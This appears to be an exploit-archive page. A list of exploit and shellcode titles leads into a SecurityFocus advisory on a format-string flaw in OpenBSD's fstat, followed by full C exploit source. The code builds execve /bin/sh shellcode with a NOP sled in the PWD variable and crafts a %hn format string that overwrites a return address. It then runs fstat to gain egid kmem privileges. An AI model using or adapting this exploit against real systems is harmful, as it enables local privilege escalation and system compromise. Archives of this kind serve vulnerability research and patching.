
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
104 lines
No EOL
3.5 KiB
C
104 lines
No EOL
3.5 KiB
C
// source: https://www.securityfocus.com/bid/1746/info
|
|
|
|
|
|
fstat is a program shipped with BSD unix variants that is used to list the open files on a system. It is installed sgid kmem so it can access information about open files from the kernel memory structures.
|
|
|
|
A user definable environment variable (PWD, parent working directory) is passed as the only argument to a *printf() function within fstat. As a result, it is possible for a user to exec fstat with a value for the PWD variable that contains malicious format specifiers. These format specifiers could be layed out in the environment variable in a way that causes the *printf function interpreting them to overwrite certain bytes on the stack (like those that the return address of the function called is composed of) and manipulate the flow of execution.
|
|
|
|
An attacker, upon successful exploitation of this vulnerability, would inherit the effective privileges of the running fstat program: egid kmem. Further compromise for an experienced hacker would be trivial.
|
|
|
|
It is likely that this vulnerability affects all modern BSDs, though as of yet only OpenBSD is confirmed.
|
|
|
|
/*
|
|
private caddis K2 release
|
|
TagTeam exploit coding @$_*#%*&(#%(**(@$*($@
|
|
werd to ADM, teso, w00w00
|
|
|
|
sgid=kmem
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
|
|
char bsd_shellcode[] =
|
|
"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
|
|
"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
|
|
"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
|
|
"\xe8\xe5\xff\xff\xff/bin/sh";
|
|
|
|
struct platform {
|
|
char *name;
|
|
unsigned short count;
|
|
unsigned long dest_addr;
|
|
unsigned long shell_addr;
|
|
char *shellcode;
|
|
};
|
|
|
|
/* 0xdfbfc304 */
|
|
|
|
struct platform targets[2] =
|
|
{
|
|
{ "OpenBSD 2.7 i386 ", 590, 0xdfbfc490, 0xdfbfdc98, bsd_shellcode },
|
|
{ NULL, 0, 0, 0, NULL }
|
|
};
|
|
|
|
#define SHELL 500
|
|
|
|
char fmt_string[9072];
|
|
char jmpcode[SHELL] = "PWD=HI";
|
|
char term[] = "TERM=xterm";
|
|
|
|
char *envs[] = { term,jmpcode, NULL};
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
char chr, *p;
|
|
int x, len = 0;
|
|
struct platform *target;
|
|
unsigned short low, high;
|
|
unsigned long shell_addr[2], dest_addr[2];
|
|
|
|
target = &targets[0];
|
|
if (argc > 1) target->count += strtol(argv[1], NULL, 0);
|
|
|
|
memset(fmt_string, 0, sizeof(fmt_string));
|
|
len = (sizeof(long) * 4) + 2;
|
|
p = fmt_string + len;
|
|
for (x = 0; x < target->count; x++) {
|
|
strcat(p, "%8x");
|
|
len += 8;
|
|
}
|
|
|
|
|
|
shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
|
|
shell_addr[1] = target->shell_addr & 0xffff;
|
|
|
|
if (shell_addr[1] > shell_addr[0]) {
|
|
dest_addr[0] = target->dest_addr+2;
|
|
dest_addr[1] = target->dest_addr;
|
|
low = shell_addr[0] - len;
|
|
high = shell_addr[1] - low - len;
|
|
} else {
|
|
dest_addr[0] = target->dest_addr;
|
|
dest_addr[1] = target->dest_addr+2;
|
|
low = shell_addr[1] - len;
|
|
high = shell_addr[0] - low - len;
|
|
}
|
|
|
|
/* allign on 4byte boundry relative to ebp */
|
|
memcpy(fmt_string, "!!", 2);
|
|
*(long *)&fmt_string[2] = 0x11111111;
|
|
*(long *)&fmt_string[6] = dest_addr[0];
|
|
*(long *)&fmt_string[10] = 0x11111111;
|
|
*(long *)&fmt_string[14] = dest_addr[1];
|
|
|
|
memset(jmpcode, 0x90, SHELL);
|
|
strcpy(jmpcode + (SHELL - strlen(target->shellcode) - 2), target->shellcode);
|
|
memcpy(jmpcode,"PWD=",4);
|
|
|
|
p = fmt_string + strlen(fmt_string);
|
|
sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);
|
|
fmt_string[sizeof(fmt_string)] = '\0';
|
|
|
|
execle("/usr/bin/fstat", "fstat", fmt_string, NULL, envs);
|
|
perror("execve");
|
|
} |